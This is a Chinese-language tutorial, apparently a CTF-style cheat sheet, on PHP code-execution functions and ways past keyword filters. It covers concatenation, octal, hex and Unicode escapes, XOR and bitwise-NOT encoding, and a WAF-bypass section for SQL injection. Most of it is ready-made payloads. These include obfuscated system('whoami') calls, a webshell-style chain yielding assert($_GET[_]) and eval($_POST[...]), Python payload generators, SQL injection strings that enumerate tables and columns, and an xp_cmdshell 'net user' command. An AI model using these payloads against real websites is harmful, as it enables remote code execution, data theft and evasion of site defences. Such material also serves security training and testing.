# 代码执行函数

首先

eval()

最常见的代码执行函数 把字符串 code 作为 PHP 代码执行

eval ( string $code ) : mixed

assert()

检测一个断言是否为 false

PHP 5
assert ( mixed $assertion [, string $description ] ) : bool
PHP 7
assert ( mixed $assertion [, Throwable $exception ] ) : bool

assert() 会检查指定的 assertion 并在结果为 false 时采取适当的行动。在 PHP5PHP7 中,如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。

preg_replace()+/e

执行一个正则表达式的搜索和替换(一般用来)

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换。如果 pattern 的模式修饰符使用 /e ,那么当 subject 被匹配成功时, replacement 会被当做 PHP 代码执行

PS: preg_replace()+ 函数的 /e 修饰符在 PHP7 中被移除

create_function()

创建一个匿名 (lambda 样式) 函数

create_function ( string $args , string $code ) : string

根据传递的参数创建一个匿名函数,并为其返回唯一的名称。如果没有严格对参数传递进行过滤,攻击者可以构造 payload 传递给 create_function()参数或函数体
在这里插入图片描述

# 可回调函数

array_map()

为数组的每个元素应用回调函数

array_map ( callable $callback , array $array , array ...$arrays ) : array

返回数组,是为 array 每个元素应用 callback 函数之后的数组。 array_map() 返回一个 array ,数组内容为 array1 的元素按索引顺序为参数调用 callback 后的结果(有更多数组时,还会传入 arrays 的元素)。 callback 函数形参的数量必须匹配 array_map() 实参中数组的数量。

在这里插入图片描述

call_user_func()

把第一个参数作为回调函数调用

call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

在这里插入图片描述

call_user_func_array()

调用回调函数,并把一个数组参数作为回调函数的参数

call_user_func_array ( callable $callback , array $param_arr ) : mixed

把第一个参数作为回调函数 callback 调用,把参数数组作 param_arr 为回调函数的的参数传入。跟 array_map() 相似

在这里插入图片描述

array_filter()

用回调函数过滤数组中的单元

array_filter ( array $array [, callable $callback [, int $flag = 0 ]] ) : array

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true ,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

在这里插入图片描述

usort()

使用用户自定义的比较函数对数组中的值进行排序

usort ( array &$array , callable $value_compare_func ) : bool

本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。

PHP < 5.6

在这里插入图片描述

PHP >= 5.6 & PHP < 7 时,php 有一个 参数变长 特性

在这里插入图片描述

# 字符串拼接绕过

字符串拼接绕过适用于过滤具体关键字的限制

使用 PHP >=7

在这里插入图片描述

payload:

(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");
.......

在 PHP 中不一定需要 引号(单引号/双引号) 来表示字符串。PHP 支持我们声明元素的类型,比如 $name = (string)mochu7; ,在这种情况下, $name 就包含字符串 "mochu7" ,此外,如果不显示声明类型,那么 PHP 会将 圆括号内的数据当成字符串 来处理

# 字符串转义绕过

适用版本 PHP>=7

以八进制表示的 \[0–7]{1,3} 转义字符会自动适配 byte(如 "\400" == “\000”
以十六进制的 \x[0–9A-Fa-f]{1,2} 转义字符表示法(如 “\x41"
以 Unicode 表示的 \u{[0–9A-Fa-f]+} 字符,会输出为 UTF-8 字符串

payload 处理脚本:

# -*- coding:utf-8 -*-

def hex_payload(payload):
res_payload = ''
for i in payload:
i = "\\x" + hex(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to hex: \"{}\"".format(payload,res_payload))

def oct_payload(payload):
res_payload = ""
for i in payload:
i = "\\" + oct(ord(i))[2:]
res_payload += i
print("[+]'{}' Convert to oct: \"{}\"".format(payload,res_payload))

def uni_payload(payload):
res_payload = ""
for i in payload:
i = "\\u{{{0}}}".format(hex(ord(i))[2:])
res_payload += i
print("[+]'{}' Convert to unicode: \"{}\"".format(payload,res_payload))

if __name__ == '__main__':
payload = 'phpinfo'
hex_payload(payload)
oct_payload(payload)
uni_payload(payload)

payload:

"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
.......

在这里插入图片描述

另外,八进制的方法可以绕过 无字母传参 进行代码执行

"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');

在这里插入图片描述

# 多次传参绕过

如果过滤了 引号(单引号/双引号) ,可以通过以下方法绕过

在这里插入图片描述

GET:
?1=system&2=whoami
POST:
cmd=$_GET[1]($_GET[2]);

如果 PHP版本大于7 这里还可以用拼接的方法绕过过滤引号

(sy.st.em)(whoami);

另外如果碰到参数长度受限制,也可以通过多次传参的方法绕过参数长度限制或者回调函数

在这里插入图片描述

回调函数可能大部分看限制的具体长度,但是在 PHP >= 5.6 & PHP < 7 时对以上过滤方法可以绕过

在这里插入图片描述

# 内置函数访问绕过

get_defined_functions() :返回所有已定义函数的数组

利用这种方法首先还需要知道 PHP 的具体版本,因为每个版本的 get_defined_functions() 返回的值都是不一样的,这里以 php7.4.3 为准

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

# 异或过滤

在 PHP 中两个字符串异或之后,得到的还是一个字符串。
例如:我们异或 ?~ 之后得到的是 A

字符:?         ASCII码:63           二进制:  00‭11 1111‬
字符:~ ASCII码:126 二进制: 0111 1110‬
异或规则:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
上述两个字符异或得到 二进制: 0100 0001
该二进制的十进制也就是:65
对应的ASCII码是:A

接下来看一道例题:

<?php
highlight_file(__FILE__);
error_reporting(0);
if(preg_match('/[a-z0-9]/is', $_GET['shell'])){
echo "hacker!!";
}else{
eval($_GET['shell']);
}
?>

过滤了 所有英文字母和数字 ,但是我们知道 ASCII 码中还有很多 字母数字之外的字符 ,利用这些字符进行异或可以得到我们想要的字符

PS:取 ASCII 表种非字母数字的其他字符,要注意有些字符可能会影响整个语句执行,所以要去掉如:反引号,单引号

脚本如下:

# -*- coding: utf-8 -*-

payload = "assert"
strlist = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 35, 36, 37, 38, 40, 41, 42, 43, 44, 45, 46, 47, 58, 59, 60, 61, 62, 63, 64, 91, 93, 94, 95, 96, 123, 124, 125, 126, 127]
#strlist是ascii表中所有非字母数字的字符十进制
str1,str2 = '',''

for char in payload:
for i in strlist:
for j in strlist:
if(i ^ j == ord(char)):
i = '%{:0>2}'.format(hex(i)[2:])
j = '%{:0>2}'.format(hex(j)[2:])
print("('{0}'^'{1}')".format(i,j),end=".")
break
else:
continue
break
$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');
//$_='assert';
$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');
//$__='_GET';
$___=$$__;
//$___='$_GET';
$_($___[_]);
//assert($_GET[_]);

payload:

$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=phpinfo();

当过滤字符的范围没有那么大,或者只是过滤关键字的时候可以使用如下脚本

# -*- coding: utf-8 -*-
import string

char = string.printable
cmd = 'system'
tmp1,tmp2 = '',''
for res in cmd:
for i in char:
for j in char:
if(ord(i)^ord(j) == ord(res)):
tmp1 += i
tmp2 += j
break
else:
continue
break
print("('{}'^'{}')".format(tmp1,tmp2))
PS C:\Users\Administrator> php -r "var_dump('000000'^'CICDU]');"
Command line code:1:
string(6) "system"

在这里插入图片描述

再放个网上看到的 payload:

${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo

# URL 编码取反绕过

还是上面的例题

当 PHP>=7 时,可以直接利用取反构造 payload

PS C:\Users\Administrator> php -r "var_dump(urlencode(~'phpinfo'));"
Command line code:1:
string(21) "%8F%97%8F%96%91%99%90"
(~%8F%97%8F%96%91%99%90)();
#phpinfo();

这里给一个 php 的转化

<?php 
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
?>
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);  //别忘了后面的分号
或者:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

在这里插入图片描述

有参数的

PS C:\Users\Administrator> php -r "var_dump(urlencode(~'system'));"
Command line code:1:
string(18) "%8C%86%8C%8B%9A%92"
PS C:\Users\Administrator> php -r "var_dump(urlencode(~'whoami'));"
Command line code:1:
string(18) "%88%97%90%9E%92%96"
(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96);
#system('whoami');

在这里插入图片描述

# 如何绕过 WAF

\1. 当我们在目标 URL 进行 SQL 注入测试时,可以通过修改注入语句中字母的大小写来触发 WAF 保护情况。如果 WAF 使用区分大小写的黑名单,则更改大小写可能会帮我们成功绕过 WAF 的过滤。

http://www.xxxxx.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4

\2. 关键字替换 (在关键字中间可插入将会被 WAF 过滤的字符) – 例如 SELECT 可插入变成 SEL

http://www.xxxxx.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4

\3. 编码

+ URL encode
  page.php?id=1%252f%252a*/UNION%252f%252a /SELECT +Hex encode
  www.xxxxx.com/index.php?page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4…  SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) +Unicode encode
  ?id=10%D6‘%20AND%2201=2%23  SELECT '?'='A'; #1

\4. 使用注释

在攻击字符串中插入注释。例如,/!SELECT/ 这样 WAF 可能就会忽略该字符串,但它仍会被传递给目标应用程序并交由 mysql 数据库处理。

index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4     'union%a0select pass from users#  index.php?page_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3    ?page_id=null%0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/+1,2,3,4…

\5. 某些函数或命令,因为 WAF 的过滤机制导致我们无法使用。那么,我们也可以尝试用一些等价函数来替代它们。

hex()、bin() ==> ascii()   sleep() ==>benchmark()   concat_ws()==>group_concat()  substr((select 'password'),1,1) = 0x70    strcmp(left('password',1), 0x69) = 1      strcmp(left('password',1), 0x70) = 0    strcmp(left('password',1), 0x71) = -1 mid()、substr() ==> substring()  @@user ==> user()  @@datadir ==> datadir()

\6. 使用特殊符号

这里我把非字母数字的字符都规在了特殊符号一类,特殊符号有特殊的含义和用法。

+ ` symbol: select `version()`; + +- :select+id-1+1.from users; + @:select@^1.from users; +Mysql function() as xxx +`、~、!、@、%、()、[]、.、-、+ 、|、%00 示例
  ‘se’+’lec’+’t’ %S%E%L%E%C%T 1 1.aspx?id=1;EXEC(‘ma’+'ster..x’+'p_cm’+'dsh’+'ell ”net user”’) ' or --+2=- -!!!'2   id=1+(UnI)(oN)+(SeL)(EcT)

\7. HTTP 参数控制
  
通过提供多个参数 = 相同名称的值集来混淆 WAF。例如 http://www.xxxxx.com?id=1&?id=’ or ‘1’=’1′ — ‘在某些情况下 (例如使用 Apache/PHP),应用程序将仅解析最后 (第二个) id= 而 WAF 只解析第一个。在应用程序看来这似乎是一个合法的请求,因此应用程序会接收并处理这些恶意输入。如今,大多数的 WAF 都不会受到 HTTP 参数污染 (HPP) 的影响,但仍然值得一试。

+ HPP(HTTP Parameter Polution))

  /?id=1;select+1,2,3+from+users+where+id=1—    /?id=1;select+1&id=2,3+from+users+where+id=1—    /?id=1/**/union/*&id=*/select/*&id=*/pwd/*&id=*/from/*&id=*/users

HPP 又称做重复参数污染,最简单的就是?uid=1&uid=2&uid=3,对于这种情况,不同的 Web 服务器处理方式如下:

+HPF (HTTP Parameter Fragment)

这种方法是 HTTP 分割注入,同 CRLF 有相似之处 (使用控制字符 %0a、%0d 等执行换行)

/?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--   select * from table where a=1 union/* and b=*/select 1,pass/* limit */from users—

+HPC (HTTP Parameter Contamination)
RFC2396 定义了以下字符:
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] ` 不同的 Web 服务器处理处理构造得特殊请求时有不同的逻辑:以魔术字符 % 为例,Asp/Asp.net 会受到影响。

\8. 缓冲区溢出

WAF 和其他所有的应用程序一样也存在着各种缺陷和漏洞。如果出现缓冲区溢出的情况,那么 WAF 可能就会崩溃,即使不能代码执行那也会使 WAF 无法正常运行。这样,WAF 的安全防护自然也就被瓦解了。

?id=1 and (select 1)=(Select 0xA*1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26

\9. 整合绕过

当使用单一的方式无法绕过时,我们则可以灵活的将多种方式结合在一起尝试。

www.xxxxx.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 "A")..])+/*!uNIOn*/+/*!SeLECt*/+1,2,3,4…   id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()– -   ?id=-725+/*!UNION*/+/*!SELECT*/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/*!INFORMATION_SCHEM*/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--